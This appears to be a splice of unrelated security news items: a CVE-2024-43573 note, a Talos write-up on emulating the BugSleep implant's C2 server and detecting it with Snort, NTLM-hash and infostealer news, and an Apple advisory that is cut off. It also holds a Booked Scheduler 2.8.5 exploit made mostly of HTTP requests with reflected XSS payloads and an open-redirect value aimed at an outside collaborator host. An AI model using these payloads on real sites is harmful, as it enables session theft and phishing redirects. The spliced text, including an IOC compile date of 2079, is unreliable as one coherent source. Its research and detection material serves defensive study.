What is known about the Spoofing – Windows MSHTML Platform (CVE-2024-43573) vulnerability from the October Microsoft Patch Tuesday? In fact, just that it is being exploited in the wild. There are no write-ups or public exploits yet. The Acknowledgements section in the Microsoft bulletin is empty. It is not clear who reported it and from […]

**What is known about the Spoofing – Windows MSHTML Platform (CVE-2024-43573) vulnerability from the** **October Microsoft Patch Tuesday****?** In fact, just that it is being exploited in the wild. There are no write-ups or public exploits yet. The Acknowledgements section in the Microsoft bulletin is empty. It is not clear who reported it and from whom we can expect details.

ZDI suggested that this could be an additional fix for a similar July vulnerability **Spoofing** – Windows MSHTML Platform (CVE-2024-38112). The vulnerability type and component are the same. The July vulnerability was about “.url” file handling and was exploited by the APT group Void Banshee to install the Atlantida Stealer malware. Attackers may have bypassed the initial fix, prompting Microsoft to release a new patch. So far, this is only an assumption. But the vulnerability shouldn’t be ignored despite its low CVSS Base score (6.5).

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What is known about the Spoofing – Windows MSHTML Platform (CVE-2024-43573) vulnerability from the October Microsoft Patch Tuesday?

This blog will demonstrate the practice and methodology of reversing BugSleep’s protocol, writing a functional C2 server, and detecting this traffic with Snort.

Wednesday, October 30, 2024 06:00

In June 2024, security researchers published their analysis of a novel implant dubbed “MuddyRot”(aka "BugSleep"). This remote access tool (RAT) gives operators reverse shell and file input/output (I/O) capabilities on a victim’s endpoint using a bespoke command and control (C2) protocol. This blog will demonstrate the practice and methodology of reversing BugSleep’s protocol, writing a functional C2 server, and detecting this traffic with Snort. 

**Key findings **

*   BugSleep implant implements a bespoke C2 protocol over plain TCP sockets. 
*   BugSleep operators have demonstrated multiple file-obfuscation techniques to avoid detection. 
*   BugSleep implements reverse shell, file I/O, and persistence capabilities on the target system. 

**Sending and receiving data **

This blog will use sample b8703744744555ad841f922995cef5dbca11da22565195d05529f5f9095fbfca for analysis. Two of the lowest functions in the C2 stack, referred to as SendSocket (FUN\_1400034c0) and ReadSocket (FUN\_140003390), are very light wrappers for the send and receive API functions and handle payload encryption. They include some error handling by attempting to send or receive data 10 times before failing.  

This protocol uses a pseudo-TLV (Type Length Value) structure with only two types: integer or string. Integers are sent as little-endian 4- or 8-byte values, and strings are prepended with the 4-byte value of its length. Payloads are then encrypted by subtracting a static value from each byte in the buffer (in this sample it is three).  

Type 

Value 

Plain text 

Cipher text 

IntegerMsg 

6 

06 00 00 00 

03 FD FD FD 

StringMsg  

Talos 

05 00 00 00 48 65 6C 6C 6F 

02 FD FD FD 51 5E 69 6C 70

_Figure 1: Example of data encryption used by BugSleep_

There are two main functions for handling C2 communications: C2Loop (FUN\_1400012c0) and CommandHandler (FUN\_1400028a0). C2Loop is responsible for setting up socket connections with the server and sending a beacon, while CommandHandler is responsible for processing and executing commands from the server. 

After setting up the socket connection, the implant beacons (FUN\_140003d80) to the C2 server for a command. The beacon is a StringMsg in the form ComputerName/Username. If the server responds with an IntegerMsg equal to 0x03, BugSleep will terminate itself. We suspect this is remnants of an old kill command or an emergency kill without the overhead of reading the real kill command later. 

Each BugSleep command is sent as an IntegerMsg after the beacon response. The following enumeration defines all the command IDs discovered. 

Figure 2: Command IDs used by implant 

**Phoning home **

The implant communicates using plain TCP sockets, which can be seen using a Netcat listener and Wireshark. 

Figure 3: BugSleep beacon as seen through Wireshark. 

Recalling the message encryption demonstrated in Figure 1, the beacon can be decrypted with a little bit of Python (Figure 4). This will be used again when building the rest of the C2 server.  

Figure 4: Decoding beacon data 

**Python C2 server **

With an understanding of the protocol basics, it is time to start building the C2 server. Full source code can be found here. 

**Beacon **

As mentioned earlier, the BugSleep beacon function sends a StringMsg and reads an IntegerMsg response from the server. Since the IntegerMsg returned can be anything but 0x03, we returned the length of the Computer Name/Username string received by the server.

Figure 5: Output from C2 server receiving beacon data 

**Ping command **

The simplest command to implement is the Ping command. It has the command ID of 0x63 (BugSleep subtracts one from whatever ID it receives). The code is simple: send back 4 bytes.  

Figure 6: Switch case for handling ping command 

Once the beacon comes in, the server is responsible for: 

1.  Sending 4 bytes for beacon response 
2.  Sending 4 bytes for Ping command ID 
3.  Reading 4 bytes of Ping data 

The ping command was observed sending back 4 bytes recently allocated on the heap, so it's not guaranteed to know what that data looks like. To validate things are really working, a breakpoint can be set in WinDbg and memory set manually before being sent. 

Figure 7: Confirming 0xdeadbeef written to memory is received by the server in a Ping command 

**File commands **

The next set of commands are responsible for downloading files onto the compromised system or uploading files to the C2 server (PutFile and GetFile, respectively). These commands are inverses of each other, so only the GetFile command will be discussed in detail. The methodology was to trace each call to SendSocket or ReadSocket and implement the response for that call in Python. In CommandHandler, the implant reads the length and value off the wire. This is the file to be retrieved.  

Figure 8: GetFile reading path string length and path string from socket 

The CmdGetFile function opens the target file and chunks it over the socket one page at a time. The list of SendSocket calls is as follows: 

Figure 9: SendSocket calls made by CmdGetFile function 

Figure 10: Example C2 server output from GetFile command 

The PutFile command differs slightly from the GetFile command with how it uses pointer math to process incoming pages. 

Figure 11: Tricky file pointer math 

This translates to each page starting with a 4-byte page number followed by 1020 bytes (or 0x3fc) of file data, which the GetFile command does not do; it sends full 1024-byte pages of file data without page numbers. 

**Reverse shell **

The last command is the reverse shell. This is the most complex because it requires many reads and writes over the socket. The disassembly is rather long and difficult to keep track of the socket calls, so we have omitted it. Effectively, the implant spawns a cmd.exe process (FUN\_1400016e0) and reads the command to execute from the socket. The shell command and its output are marshaled between the processes via pipes during the session. The complexity of this operation comes from BugSleep incrementally reporting return values from pipe API calls while attempting to read shell output (FUN\_140003840). The implant will enter this loop of reading commands and sending output until it receives the string “terminate\\n”.  

Figure 12: Example output from C2 server running the reverse shell command 

The rest of the commands are less complex but have been implemented and are viewable here. 

**Snort detection **

This server gives Talos the ability to emulate any number of conversations between BugSleep and its operators. This traffic is crucial for writing and validating our detections’ performance in the wild. 

The initial candidate for detection would be the beacon. It is the first opportunity to shut down communications, isolating any BugSleep instance from receiving commands. It was observed that each beacon has the form of <len><data>, where data is sub\_string(COMPUTER\_NAME + "/" + USERNAME, 3). This string is not long or static, which makes it a poor candidate for a fast\_pattern; however, recall that each beacon is prepended with a 4-byte length of this string. A Computer Name/Username string from any given victim is unlikely to be longer than 255 characters. This means most length fields are going to look like |XX 00 00 00| or |XX FD FD FD| when encoded. This could be a quick match, early in the stream, at a static offset, making it a decent fast\_pattern candidate. 

Figure 13: Detecting higher order encoded zero bytes of beacons sent from BugSleep 

 This will work but is likely to cause false-positives (FP) in the wild. Every sample of BugSleep was seen using port 443. The implant is also reaching outside the network to a C2 server, so traffic to be inspected by this rule can be reduced using the following header: 

Figure 14: Restricting rule to inspect traffic leaving the network to port 443 

The flow:to\_server,established option can be used to restrict Snort to data coming from a client over established TCP streams. The FP-rate on this rule still isn't great. Any TCP traffic leaving the network on port 443 with |FD FD FD| at offset 1 will alert. That might sound unique, but it does not indicate with confidence that the traffic is a BugSleep beacon. 

One powerful tool in Snort to add more logic or state to rules is flowbits. These allow a writer to have a sense of state within a stream across multiple rules. In this case, the beacons aren't enough to reliably alert on. What if we use flowbits to chain beacons with the commands being sent back? The commands themselves don't provide much content, as they are variable length non-deterministic strings (e.g., get, put, etc.) or a nondeterministic 4-byte integer (e.g., heartbeat, increment timeout, etc.). They do, however, all start with a 4-byte command ID. Setting a flowbit when a beacon leaves the network will allow another rule down the line to alert with higher confidence if it sees a command ID come back in the same stream. 

**Command rules **

The pcre rule option can be used to reduce 11 rules down to one. Like the beacon rule, the three zero bytes, encoded as |03|, can be used as a fast\_pattern. Once the rule has entered, the bugsleep\_beacon flowbit check can be performed to help the rule exit quickly in the event of a false positive. After the three |03| bytes are confirmed to be at offset five, a PCRE can verify one of the command IDs is present.  

Figure 15: Snort rule for detecting BugSleep command sent from C2 server 

**Sharp edges **

Sometimes, we are reminded that Snort can handle or interpret data differently than expected. Conveniently, this sample’s traffic was a perfect example and opportunity to peek under the hood and see what Snort sees. Originally, our beacon rule looked like this, trying to catch the encoded forward-slash that is always present in the Computer Name/Username string (encoded as a comma).  

Figure 16: Beacon rule attempting to catch forward-slash in Computer Name/Username string 

Recall that the implant will: 

1.  Connect to the server 
2.  Send a string length (4 bytes) 
3.  Send the PC/User string N bytes 
4.  Read 4 bytes back to ensure a response 
5.  Read 4-byte command ID and N command data bytes 
6.  Start sending command responses 

As Snort is reading data over the wire, it is interpreting it and sorting it into different buffers (pkt\_data, file\_data, js\_data, http\_\*, etc.). In this case, as TCP data is being chunked along the wire, Snort is looking at those individual TCP segments. Only after it has enough data will it flush into the larger "TCP stream" buffer so a rule can parse the entire stream sent from a client or server. 

Initially, the get command traffic was alerting while the put command traffic was not. Fortunately, Snort 3 comes with a tracing module to help debug these issues. The buffer option will print out Snort’s different buffers as they are filled and rule\_eval will trace the rule as it is evaluated. The following screenshots are output from individual runs of Snort against each PCAP. “snort.raw” represents an individual packet, while “snort.stream\_tcp” represents a reassembled TCP stream. 

At the start of the working GetFile command, the beacon size and data can be seen as two separate packets (Figure 17).  

Figure 17: Individual beacon packets being processed by Snort 

Further down, the reassembled TCP stream can be seen being inspected and alerted on. Moving from the top to bottom in Figure 18, the cursor position and state of the buffer can be observed changing as the rule is evaluated. At the end, the flowbit is set and made available for the command rule.

Figure 18: Snort trace output setting flowbit for BugSleep beacon 

Further down, the TCP stream for the command data is processed. The higher-order zeroes of the command are found, the flowbit checked, the PCRE performed, and the SID alerts as expected.  

Figure 19: Get file command rule alerts on traffic as expected 

When the results of the put file command traffic are inspected, a different behavior is observed. The individual packets for beacon length and beacon data are seen coming in; however, the first reassembled TCP stream that Snort is inspecting is the command being sent back to the implant. Figure 20 shows the command ID being found and then the flowbit check failing. 

Figure 20: Put file command traffic failing flowbit check 

Scrolling further in the log reveals the TCP stream for the beacon data is eventually populated and Snort sets the flowbit as expected. The stream for the command ID, however, has already passed and failed analysis because of the unset flowbit, resulting in no alert. The cause of this issue is the raw packets coming from the client not being reassembled into a TCP stream by the time the server packets are reassembled and inspected. This happens because Snort only reassembles when it has enough data, and 20 bytes is not enough yet. 

**The fix **

Unfortunately, the beacon rule must be tweaked so it can alert as soon as possible and not rely on the TCP reassembly. Recall that the beacon function invokes SendSocket twice, once for 4-length bytes and again for the beacon data. This means the first packet Snort sees will only be 4 bytes long. Adding “bufferlen:=4” restricts Snort to only look at 4-byte packets, significantly reducing any FP rate. Our solution ended up being this:  

Figure 21: Fixed beacon rule looking for 4-byte length segments 

 Now the rules work as expected!  

Figure 22: Snort output alerting on traffic from all BugSleep commands 

**Conclusion **

Since BugSleep is a new implant and weekly releases were observed being deployed, this protocol might change and bypass these rules. However, two things have been accomplished: 

1.  This variant will no longer communicate over our customers’ networks. 
2.  Attackers must invest development time and money to use BugSleep again. 

The published Snort SIDs covering this traffic are 63937 and 63938.  

**Indicators of compromise **

Hosts: 

*   1\[.\]235\[.\]234\[.\]202 
*   146\[.\]19\[.\]143\[.\]14 
*   46\[.\]19\[.\]143\[.\]14 
*   5\[.\]239\[.\]61\[.\]97 

Hashes 

The following Windows executables were collected during our research. Assuming these have not been manipulated, the compilation time for this set of binaries indicates weekly releases of BugSleep. 

SHA256 

Compile Time 

b8703744744555ad841f922995cef5dbca11da22565195d05529f5f9095fbfca 

Wed., May 8 00:55:53 2024 UTC 

94278fa01900fdbfb58d2e373895c045c69c01915edc5349cd6f3e5b7130c472 

Wed., May 22 21:56:39 2024 UTC 

73c677dd3b264e7eb80e26e78ac9df1dba30915b5ce3b1bc1c83db52b9c6b30e 

Fri., May 31 23:29:21 2024 UTC 

5df724c220aed7b4878a2a557502a5cefee736406e25ca48ca11a70608f3a1c0 

Sun., Jul 07 21:09:49 2024 UTC 

960d4c9e79e751be6cad470e4f8e1d3a2b11f76f47597df8619ae41c96ba5809 

Sat., Jul 15 09:15:20 2079 UTC

Writing a BugSleep C2 server and detecting its traffic with Snort

Now a zero-day, the vulnerability enables NTLM hash theft, an issue that Microsoft has already fixed twice before.

Source: tdhster via Shutterstock

All versions of Windows clients, from Windows 7 through current Windows 11 versions, contain a 0-day vulnerability that could allow attackers to capture NTLM authentication hashes from users of affected systems.

Researchers at ACROS Security reported the flaw to Microsoft this week. They discovered the issue while writing a patch for older Windows systems for CVE-2024-38030, a medium-severity Windows Themes spoofing vulnerability that Microsoft mitigated in its July security update.

**Variant of Two Previous Vulnerabilities**

The vulnerability that ACROS discovered is very similar to CVE-2024-38030 and enables what is known as an authentication coercion attack, where a vulnerable device is essentially coerced into sending NTLM hashes — the cryptographic representation of a user's password — to an attacker's system. Akamai researcher Tomer Peled discovered CVE-2024-38030 while analyzing Microsoft's fix for CVE-2024-21320, another, earlier Windows themes spoofing vulnerability he discovered and reported to Microsoft. The flaw that ACROS uncovered is a new, separate vulnerability related to the two flaws Peled reported earlier.

Windows themes files allow users to customize the appearance of their Windows desktop interface via wallpapers, screen savers, colors, and sounds. Both the vulnerabilities that Akamai researcher Peled discovered had to do with the manner in which the themes handled file paths to a couple of image resources, specifically "BrandImage" or "Wallpaper." Peled found that because of improper validation, an attacker could manipulate the legitimate path to these resources in such a way as to get Windows to automatically send an authenticated request, along with the user's NTLM hash, to the attacker's device.

As Peled explains to Dark Reading, "The themes file format is an .ini file, with multiple 'key,value' pairs. I originally found two key,value pairs that could accept file paths," he says.

The original vulnerability (CVE-2024-21320) stemmed from the fact that the key,value pairs accepted UNC paths — a standardized format for identifying network resources like shared files and folders — for network drives, Peled notes. "This \[meant\] that a weaponized theme file, with a UNC path, could trigger an outbound connection with user authentication, without them knowing." Microsoft fixed the issue by adding a check on the file path to ensure it wasn't a UNC path. But, Peled says, the function Microsoft used for this validation allowed for some bypasses, which is what led to Peled's discovery of the second vulnerability (CVE-2024-38030).

**Microsoft Will Act 'As Needed'**

What ACROS Security reported this week is the third Windows themes spoofing vulnerability rooted in the same file path issue. "Our researchers discovered the vulnerability in early October while writing a patch for CVE-2024-38030 intended for legacy Windows systems many of our users are still using," says Mitja Kolsek, CEO of ACROS Security. "We reported this issue to Microsoft \[on\] Oct. 28, 2024, but we did not release details or a proof-of-concept, which we plan to do after Microsoft has made their own patch publicly available."

A Microsoft spokesman said via email the company is aware of the ACROS report and "will take action as needed to help keep customers protected." The company does not appear to have issued a CVE, or vulnerability identifier, for the new issue yet.

Like the two previous Windows themes spoofing vulnerabilities that Akamai discovered, the new one that ACROS found also does not require an attacker to have any special privileges. "But they have to somehow get the user to copy a theme file to some other folder on their computer, then open that folder with Windows Explorer using a view that renders icons," Kolsek says. "The file could also be automatically downloaded to their Downloads folder while visiting \[an\] attacker's website, in which case the attacker would have to wait for the user to view the Downloads folder at a later time."

Kolsek recommends that organizations disable NTLM where possible, but acknowledges that doing so could cause functional problems if any network components rely on it. "\[An\] attacker could only successfully target a computer where NTLM is enabled," he says. "Another requirement is that a request initiated by a malicious theme file would be able to reach the attacker's server on the Internet or in an adjacent network," something that firewalls should typically block, he says. As a result, it's more likely than an attacker would try to exploit the flaw in a targeted campaign more so than in a mass exploit.

Akamai's Peled says it's hard to know what ACROS's vulnerability is about without having access to the technical details. "But it might be another UNC bypass that circumvents the check, or it could be a different key,value pair that was missed in the original patching," he says. "UNC path formats are very complex and allow for weird combinations, which make detecting them very hard. This might be why it's so complex to fix."

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Recurring Windows Flaw Could Expose User Credentials

An international law enforcement operation, led by the United States, Europol, and the Netherlands, has successfully dismantled the…

An international law enforcement operation, led by the United States, Europol, and the Netherlands, has successfully dismantled the infrastructure behind the notorious RedLine and META infostealer malware. Discover how these cyberattacks steal sensitive information and the impact they have on individuals and businesses worldwide.

An international law enforcement operation has successfully dismantled the infrastructure behind two notorious infostealer malware strains: RedLine and Meta. The operation, codenamed “Operation Magnus,” was led by the Dutch National Police, the U.S. Department of Justice (DOJ) and supported by Europol.

The investigation involved law enforcement agencies from across the globe, including Belgium (Belgian Federal Police, Belgian Federal Prosecutor’s Office), Australia (the Australian Federal Police), Portugal (Polícia Judiciária), and the United Kingdom (National Crime Agency).

Other US agencies involved in this operation include the FBI, Naval Criminal Investigative Service, IRS Criminal Investigation, Defense Criminal Investigative Service, and Army Criminal Investigation Division. These agencies collaborated under a Joint Cybercrime Action Taskforce (“JCAT”) Operation Magnus. 

Watch the video released by authorities

This operation resulted in full access (PDF) to the servers hosting the malware’s infrastructure, including source code, license servers, user data, and seizing domains and Telegram accounts. Authorities have created a dedicated website to provide resources for victims and the public

For your information, Infostealers are a type of malware designed to steal sensitive information from victims’ devices, such as login credentials, passwords, and credit card details. These stolen credentials are often sold on underground markets, enabling further cyberattacks and fraudulent activities.

Screenshot from RedLine’s infrastructure

RedLine and META are designed to infiltrate victim computers and steal sensitive information. This stolen data, often referred to as “logs,” can include usernames, passwords, financial information, and even cryptocurrency wallet details. Criminals use these stolen credentials for a variety of nefarious purposes, including launching further attacks, committing fraud, or bypassing multi-factor authentication (MFA). 

Investigations revealed RedLine and META may have infected millions of computers worldwide. Estimates suggest RedLine alone might be one of the most prevalent malware variants globally. Law enforcement has identified millions of unique credentials stolen by the malware, including usernames, passwords, and financial data.

As part of Operation Magnus, authorities unsealed a criminal complaint (PDF) against Maxim Rudometov, believed to be a developer and administrator of RedLine. The complaint accuses Rudometov of managing RedLine’s infrastructure, receiving payments through cryptocurrency accounts, and possessing the malware itself. He faces charges including access device fraud, conspiracy to commit computer intrusion, and money laundering, and if convicted, he could face a maximum sentence of 10 years in prison.

Maxim Rudometov, the alleged developer and administrator of RedLine.

Operation Magnus serves as a powerful example of international cooperation in combating cybercrime. By dismantling the RedLine and META infrastructure, law enforcement has significantly disrupted the activities of cybercriminals who rely on stolen data for their illicit operations. However, the ever-evolving nature of cybercrime necessitates continued vigilance and cooperation between law enforcement and cybersecurity experts.

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Operation Magnus: Police Dismantles RedLine and META Infostealer Infrastructure

Russian hackers launched a targeted malware campaign via Telegram, aimed at Ukrainian military recruits. Disguised as recruitment tools,…

Russian hackers launched a targeted malware campaign via Telegram, aimed at Ukrainian military recruits. Disguised as recruitment tools, the malware steals data and spreads disinformation, weakening Ukraine’s defence efforts.

A new report by Google’s Threat Intelligence Group (TAG) exposes a cyber campaign targeting Ukrainian men eligible for military service. The campaign, linked to Russian state-sponsored hackers, orchestrated by the UNC5812 group, utilizes a combination of malware and disinformation.

It is worth noting that at the beginning of October 2024, reports indicated that Russian cyber operations against Ukraine during the first half of the year shifted from broad-spectrum attacks to a more targeted approach, specifically focusing on Ukraine’s military and defence sectors.

For the latest campaign, the immediate objective is to compromise the devices of potential Ukrainian military recruits. Hackers are distributing malicious software to help Ukrainian military recruits locate recruitment centers. These programs are laced with malware that can steal sensitive information like browser data, keystrokes, and cryptocurrency wallet details. 

To achieve this, the attackers have established a deceptive online presence through a Telegram channel and website known as “Civil Defense.” Reportedly, the website was registered in April 2024, but the Telegram channel was created in September

These platforms entice users with promises of helpful information and tools related to military conscription. However, once victims download and install the offered software, they unwittingly expose their devices to various malware strains.

For Windows users, this typically involves the Pronsis Loader, which subsequently delivers the information-stealing PURESTEALER. Android users, on the other hand, are targeted with the CRAXSRAT backdoor, a versatile tool capable of data theft, surveillance, and remote control. 

To bypass security measures, the attackers have employed social engineering techniques, instructing victims to disable Google Play Protect and manually grant permissions to the malicious apps. The campaign also involves a concerted effort to spread disinformation and undermine public morale in Ukraine. 

The “Civil Defense” platform disseminates anti-mobilization narratives, promotes false information about the war, and encourages users to share videos of alleged unfair practices at recruitment centers. The website has a dedicated news section rife with fabricated stories depicting purported injustices surrounding mobilization. The content is posted on pro-Russian social media channels. 

The UNC5812 campaign is part of a broader pattern of Russian cyberattacks aimed at destabilizing Ukraine. By targeting potential recruits, the attackers seek to erode public support for the military and hinder Ukraine’s ability to defend itself. 

Researchers suspect that UNC5812 is purchasing promoted posts in Ukrainian-language channels to target potential victims. A channel with over 80,000 subscribers promoting the “Civil Defense” Telegram channel-website was observed on September 18th. An additional Ukrainian-language news channel promoting the posts as recently as October 8th suggests the campaign is actively seeking new Ukrainian-language communities for targeted engagement.

Civil Defense promoted in Ukrainian-language missile alert and news communities and Download page, translated from Ukrainian (Via Google)

Google has identified and blocked malicious websites and domains by adding them to Safe Browsing, actively scanning devices for harmful apps, and collaborating with Ukrainian authorities to block the campaign’s website within the country. Google Play Protect also actively scans devices for harmful apps, including those installed outside the Play Store.

Nevertheless, Google’s report sheds light on Russia’s multifaceted approach to weakening Ukraine’s war effort through cyber means. By staying informed and utilizing security measures provided by platforms like Google, users can help mitigate the impact of such campaigns.

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5.  Russian Midnight Blizzard Breached UK Home Office via Microsoft

Russian Malware Attack Targets Ukrainian Military Recruits via Telegram

Booked Scheduler version 2.8.5 suffers from cross site scripting and open redirection vulnerabilities.

    # Exploit Title: Open Redirect / Reflected XSS - booked-schedulerv2.8.5# Date: 10/2024# Exploit Author: Andrey Stoykov# Version: 2.8.5# Tested on: Ubuntu 22.04# Blog:https://msecureltd.blogspot.com/2024/10/friday-fun-pentest-series-13-reflected.htmlhttps://msecureltd.blogspot.com/2024/10/friday-fun-pentest-series-12-open.htmlOpen Redirect:Steps to Reproduce:1. Login and intercept HTTP request with a proxy such as Burpsuite or ZAP2. In the "resume" parameter add the redirect URL e.g. Burp Collab3. Forward the requestindex.php// HTTP POST login requestPOST /Bookedbo8effotfu/Web/index.php HTTP/1.1Host: localhostCookie: PHPSESSID=7c0a0ee0b401863e1a30acbebf301916; language=en_gb;fus_session=a15fcb9ef40abd1dece4c7fc35c2b58c; fus_visited=yesUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0)Gecko/20100101 Firefox/132.0[...]email=admin&password=password&captcha=&login=submit&resume=https://urp4vilyopoly8dhq6xa2z8v0m6du3is.oastify.com&language=en_gbg// HTTP responseHTTP/1.1 302 FoundDate: Sat, 12 Oct 2024 12:09:33 GMTServer: ApacheExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheLocation: https://urp4vilyopoly8dhq6xa2z8v0m6du3is.oastify.comContent-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8Reflected XSS:reservation.php// HTTP GET requestGET/Bookedbo8effotfu/Web/reservation.php?rid="><script>alert(document.domain)</script>HTTP/1.1Host: localhostCookie: PHPSESSID=7c0a0ee0b401863e1a30acbebf301916; language=en_gb;new_version=v%3D2.8.5%2Cfs%3D1728734988;fus_session=a15fcb9ef40abd1dece4c7fc35c2b58c; fus_visited=yesUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0)Gecko/20100101 Firefox/132.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflate, brDnt: 1Sec-Gpc: 1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Priority: u=0, iTe: trailersConnection: keep-alive// HTTP responseHTTP/1.1 200 OKDate: Sat, 12 Oct 2024 12:23:55 GMTServer: ApacheExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheConnection: closeContent-Type: text/html; charset=UTF-8Content-Length: 14003<h5><ahref="//localhost/Bookedbo8effotfu/Web/reservation.php?rid="><script>alert(document.domain)</script>">Returnto the last page that you were on</a></h5></div>schedule.php// HTTP GET requestGET/Bookedldk0euwfjx/Web/schedule.php?dr="><script>alert(document.domain)</script>HTTP/1.1Host: localhostCookie: PHPSESSID=c7aa15661bb6b0b72ab88132664b75c9; language=en_gb;resource_filter1=%7B%22ScheduleId%22%3A%221%22%2C%22ResourceIds%22%3A%5B%5D%2C%22ResourceTypeId%22%3Anull%2C%22MinCapacity%22%3Anull%2C%22ResourceAttributes%22%3A%5B%5D%2C%22ResourceTypeAttributes%22%3A%5B%5D%7D;schedule_calendar_toggle=falseUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0)Gecko/20100101 Firefox/132.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflate, brUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Priority: u=0, iTe: trailersConnection: keep-alive// HTTP responseHTTP/1.1 200 OKDate: Sat, 19 Oct 2024 09:12:33 GMTServer: ApacheExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheConnection: closeContent-Type: text/html; charset=UTF-8Content-Length: 7853<h5><ahref="//localhost/Bookedldk0euwfjx/Web/schedule.php?dr="><script>alert(document.domain)</script>">Returnto the last page that you were on

Booked Scheduler 2.8.5 Cross Site Scripting / Open Redirection

Apple Security Advisory 10-28-2024-5 - macOS Ventura 13.7.1 addresses bypass, information leakage, out of bounds access, out of bounds read, and out of bounds write vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1

macOS Ventura 13.7.1 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/121568.

Apple maintains a Security Releases page at  
https://support.apple.com/100100 which lists recent  
software updates with security advisories.

App Support  
Available for: macOS Ventura  
Impact: A malicious app may be able to run arbitrary shortcuts without  
user consent  
Description: A path handling issue was addressed with improved logic.  
CVE-2024-44255: an anonymous researcher

AppleMobileFileIntegrity  
Available for: macOS Ventura  
Impact: A sandboxed process may be able to circumvent sandbox  
restrictions  
Description: A logic issue was addressed with improved validation.  
CVE-2024-44270: Mickey Jin (@patch1t)

AppleMobileFileIntegrity  
Available for: macOS Ventura  
Impact: An app may be able to modify protected parts of the file system  
Description: A downgrade issue affecting Intel-based Mac computers was  
addressed with additional code-signing restrictions.  
CVE-2024-44280: Mickey Jin (@patch1t)

ARKit  
Available for: macOS Ventura  
Impact: Processing a maliciously crafted file may lead to heap  
corruption  
Description: The issue was addressed with improved checks.  
CVE-2024-44126: Holger Fuhrmannek

Assets  
Available for: macOS Ventura  
Impact: A malicious app with root privileges may be able to modify the  
contents of system files  
Description: This issue was addressed by removing the vulnerable code.  
CVE-2024-44260: Mickey Jin (@patch1t)

CoreServicesUIAgent  
Available for: macOS Ventura  
Impact: An app may be able to modify protected parts of the file system  
Description: This issue was addressed with additional entitlement  
checks.  
CVE-2024-44295: an anonymous researcher

CoreText  
Available for: macOS Ventura  
Impact: Processing a maliciously crafted font may result in the  
disclosure of process memory  
Description: The issue was addressed with improved checks.  
CVE-2024-44240: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative  
CVE-2024-44302: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

CUPS  
Available for: macOS Ventura  
Impact: An attacker in a privileged network position may be able to leak  
sensitive user information  
Description: An issue existed in the parsing of URLs. This issue was  
addressed with improved input validation.  
CVE-2024-44213: Alexandre Bedard

DiskArbitration  
Available for: macOS Ventura  
Impact: A sandboxed app may be able to access sensitive user data  
Description: The issue was addressed with improved checks.  
CVE-2024-40855: Csaba Fitzl (@theevilbit) of Kandji

Find My  
Available for: macOS Ventura  
Impact: An app may be able to read sensitive location information  
Description: A privacy issue was addressed with improved private data  
redaction for log entries.  
CVE-2024-44289: Kirin (@Pwnrin)

Foundation  
Available for: macOS Ventura  
Impact: Parsing a file may lead to disclosure of user information  
Description: An out-of-bounds read was addressed with improved input  
validation.  
CVE-2024-44282: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

Game Controllers  
Available for: macOS Ventura  
Impact: An attacker with physical access can input Game Controller  
events to apps running on a locked device  
Description: The issue was addressed by restricting options offered on a  
locked device.  
CVE-2024-44265: Ronny Stiftel

ImageIO  
Available for: macOS Ventura  
Impact: Processing an image may result in disclosure of process memory  
Description: This issue was addressed with improved checks.  
CVE-2024-44215: Junsung Lee working with Trend Micro Zero Day Initiative

ImageIO  
Available for: macOS Ventura  
Impact: Processing a maliciously crafted message may lead to a denial-  
of-service  
Description: The issue was addressed with improved bounds checks.  
CVE-2024-44297: Jex Amro

Installer  
Available for: macOS Ventura  
Impact: An app may be able to access user-sensitive data  
Description: An access issue was addressed with additional sandbox  
restrictions.  
CVE-2024-44216: Zhongquan Li (@Guluisacat)

Installer  
Available for: macOS Ventura  
Impact: A malicious application may be able to modify protected parts of  
the file system  
Description: The issue was addressed with improved checks.  
CVE-2024-44287: Mickey Jin (@patch1t)

IOGPUFamily  
Available for: macOS Ventura  
Impact: A malicious app may be able to cause a denial-of-service  
Description: The issue was addressed with improved memory handling.  
CVE-2024-44197: Wang Yu of Cyberserval

Kernel  
Available for: macOS Ventura  
Impact: An app may be able to leak sensitive kernel state  
Description: An information disclosure issue was addressed with improved  
private data redaction for log entries.  
CVE-2024-44239: Mateusz Krzywicki (@krzywix)

LaunchServices  
Available for: macOS Ventura  
Impact: An application may be able to break out of its sandbox  
Description: A logic issue was addressed with improved checks.  
CVE-2024-44122: an anonymous researcher

Maps  
Available for: macOS Ventura  
Impact: An app may be able to read sensitive location information  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-44222: Kirin (@Pwnrin)

Messages  
Available for: macOS Ventura  
Impact: An app may be able to break out of its sandbox  
Description: The issue was addressed with improved input sanitization.  
CVE-2024-44256: Mickey Jin (@patch1t)

PackageKit  
Available for: macOS Ventura  
Impact: An app may be able to bypass Privacy preferences  
